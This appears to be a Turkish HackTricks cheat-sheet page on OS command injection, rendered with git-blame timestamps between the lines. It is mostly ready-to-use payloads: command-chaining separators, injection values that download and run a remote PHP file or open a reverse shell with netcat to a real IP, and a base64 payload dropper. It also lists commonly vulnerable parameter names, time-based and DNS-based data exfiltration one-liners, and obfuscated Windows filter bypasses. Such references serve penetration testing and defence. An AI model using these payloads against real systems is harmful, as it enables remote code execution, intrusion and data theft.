2024-04-07 03:13:19 +00:00
# Komut Enjeksiyonu
2022-04-28 16:01:33 +00:00
< details >
2024-04-07 03:13:19 +00:00
< summary > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > ile sı fı rdan kahramana kadar AWS hacklemeyi öğrenin!< / summary >
2022-04-28 16:01:33 +00:00
2024-03-29 21:18:23 +00:00
HackTricks'i desteklemenin diğer yolları :
2023-12-31 01:25:17 +00:00
2024-04-07 03:13:19 +00:00
- **Şirketinizi HackTricks'te reklamı nı görmek istiyorsanı z** veya **HackTricks'i PDF olarak indirmek istiyorsanı z** [**ABONELİK PLANLARI**]'na göz atı n!
- [**Resmi PEASS & HackTricks ürünlerini** ](https://peass.creator-spring.com ) edinin
- [**The PEASS Family**]'yi keşfedin, özel [**NFT'ler**] koleksiyonumuzu inceleyin
- 💬 [**Discord grubuna** ](https://discord.gg/hRep4RUj7f ) veya [**telegram grubuna** ](https://t.me/peass ) **katı lı n** veya **Twitter** 🐦 [**@carlospolopm**]'yi takip edin
- **Hacking püf noktaları nı zı paylaşarak PR göndererek** [**HackTricks**] ve [**HackTricks Cloud**] github depoları na katkı da bulunun
2022-04-28 16:01:33 +00:00
< / details >
2024-04-07 03:13:19 +00:00
< figure > < img src = "../.gitbook/assets/image (45).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-10-27 23:22:18 +00:00
2024-04-07 03:13:19 +00:00
Dünyanı n **en gelişmiş topluluk araçları ** tarafı ndan desteklenen **iş akı şları nı kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**]'i kullanı n.\
2024-02-10 18:14:16 +00:00
Bugün Erişim Alı n:
2022-10-27 23:22:18 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics& utm_medium=banner& utm_source=hacktricks" %}
2024-02-10 18:14:16 +00:00
## Komut Enjeksiyonu Nedir?
2020-07-15 15:43:14 +00:00
2024-04-07 03:13:19 +00:00
**Komut enjeksiyonu**, bir saldı rganı n bir uygulamanı n barı ndı rı ldı ğı sunucuda keyfi işletim sistemi komutları nı yürütmesine izin verir. Sonuç olarak, uygulama ve tüm verileri tamamen tehlikeye atı labilir. Bu komutları n yürütülmesi genellikle saldı rganı n uygulamanı n ortamı ve alt sistem üzerinde yetkisiz erişim veya kontrol elde etmesine olanak tanı r.
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
### Bağlam
2020-07-15 15:43:14 +00:00
2024-04-07 03:13:19 +00:00
**Girdinizin enjekte edildiği yere bağlı olarak**, komutlardan önce **alı ntı lanan bağlamı sonlandı rmanı z** gerekebilir (`"` veya `'` ).
2020-07-15 15:43:14 +00:00
```bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls& & id; ls & & id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
2022-10-02 23:08:05 +00:00
ls${LS_COLORS:10:1}${IFS}id # Might be useful
2020-07-15 15:43:14 +00:00
2022-10-10 00:18:23 +00:00
#Not executed but may be interesting
2020-07-15 15:43:14 +00:00
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
2024-04-07 03:13:19 +00:00
### **Sı nı rlama** Atlatmaları
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
Eğer bir Linux makinesi içinde **keyfi komutlar çalı ştı rmaya** çalı şı yorsanı z, bu **Atlatmaları ** hakkı nda okumak ilginizi çekebilir:
2020-07-15 15:43:14 +00:00
2024-04-06 19:40:41 +00:00
{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
[bypass-bash-restrictions ](../linux-hardening/bypass-bash-restrictions/ )
2022-10-02 23:08:05 +00:00
{% endcontent-ref %}
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
```
2024-02-10 18:14:16 +00:00
### Parametreler
2024-04-07 03:13:19 +00:00
İşte kod enjeksiyonuna ve benzeri RCE güvenlik açı kları na karşı savunması z olabilecek en üst 25 parametre ([bağlantı ](https://twitter.com/trbughunters/status/1283133356922884096)):
2021-10-18 11:21:18 +00:00
```
2020-07-29 09:22:22 +00:00
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
```
2024-03-29 21:18:23 +00:00
### Zaman tabanlı veri dı şa aktarma
2020-07-29 09:22:22 +00:00
2024-02-10 18:14:16 +00:00
Veri çı karma: karakter karakter
2021-10-18 11:21:18 +00:00
```
2021-06-25 16:50:01 +00:00
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
```
2024-03-17 16:37:08 +00:00
### DNS tabanlı veri sı zdı rma
2021-06-25 16:50:01 +00:00
2024-03-29 21:18:23 +00:00
`https://github.com/HoLyVieR/dnsbin` adresindeki araca dayanmaktadı r ve aynı zamanda dnsbin.zhack.ca adresinde barı ndı rı lmaktadı r.
2021-10-18 11:21:18 +00:00
```
2021-06-25 16:50:01 +00:00
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
2021-10-18 11:21:18 +00:00
```
2021-06-25 16:50:01 +00:00
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
2024-04-07 03:13:19 +00:00
DNS tabanlı veri sı zdı rma için kontrol etmek için çevrimiçi araçlar:
2024-04-06 19:40:41 +00:00
2024-04-07 03:13:19 +00:00
* dnsbin.zhack.ca
* pingb.in
2021-06-25 16:50:01 +00:00
2024-04-07 03:13:19 +00:00
### Filtreleme atlatma
2024-04-06 19:40:41 +00:00
2024-04-07 03:13:19 +00:00
#### Windows
2021-10-18 11:21:18 +00:00
```
2022-04-05 22:24:52 +00:00
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
2021-06-25 16:50:01 +00:00
```
2022-05-01 13:25:53 +00:00
#### Linux
2021-06-25 16:50:01 +00:00
2024-04-06 19:40:41 +00:00
{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
[bypass-bash-restrictions ](../linux-hardening/bypass-bash-restrictions/ )
2021-10-18 11:21:18 +00:00
{% endcontent-ref %}
2021-06-25 16:50:01 +00:00
2024-04-07 03:13:19 +00:00
## Brute-Force Tespit Listesi
2021-06-27 21:56:13 +00:00
2021-10-18 11:21:18 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}
2021-06-27 21:56:13 +00:00
2024-02-10 18:14:16 +00:00
## Referanslar
2020-07-15 15:43:14 +00:00
2024-02-06 03:10:38 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection )
* [https://portswigger.net/web-security/os-command-injection ](https://portswigger.net/web-security/os-command-injection )
2022-04-28 16:01:33 +00:00
< details >
2024-04-07 03:13:19 +00:00
< summary > < strong > Sı fı rdan kahraman olacak şekilde AWS hackleme konusunda< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > öğrenin!< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-03-17 16:37:08 +00:00
HackTricks'ı desteklemenin diğer yolları :
2023-12-31 01:25:17 +00:00
2024-03-17 16:37:08 +00:00
* **Şirketinizi HackTricks'te reklamı nı zı görmek istiyorsanı z** veya **HackTricks'i PDF olarak indirmek istiyorsanı z** [**ABONELİK PLANLARINI** ](https://github.com/sponsors/carlospolop ) kontrol edin!
2024-04-07 03:13:19 +00:00
* [**Resmi PEASS & HackTricks ürünlerine göz atı n** ](https://peass.creator-spring.com )
2024-03-29 21:18:23 +00:00
* [**The PEASS Family'yi** ](https://opensea.io/collection/the-peass-family ) keşfedin, özel [**NFT'lerimiz** ](https://opensea.io/collection/the-peass-family ) koleksiyonumuz
2024-04-07 03:13:19 +00:00
* **💬 [**Discord grubuna** ](https://discord.gg/hRep4RUj7f ) veya [**telegram grubuna** ](https://t.me/peass ) katı lı n veya bizi Twitter'da** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )** takip edin.**
2024-03-17 16:37:08 +00:00
* **Hacking püf noktaları nı zı paylaşarak PR'lar göndererek** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) ve [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github depoları na katkı da bulunun.
2022-04-28 16:01:33 +00:00
< / details >
2022-08-31 22:35:39 +00:00
2024-04-07 03:13:19 +00:00
< figure > < img src = "../.gitbook/assets/image (45).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-08-31 22:35:39 +00:00
\
2024-03-29 21:18:23 +00:00
[**Trickest** ](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks ) kullanarak dünyanı n **en gelişmiş** topluluk araçları yla desteklenen **iş akı şları nı kolayca oluşturun ve otomatikleştirin** .\
2024-02-10 18:14:16 +00:00
Bugün Erişim Alı n:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics& utm_medium=banner& utm_source=hacktricks" %}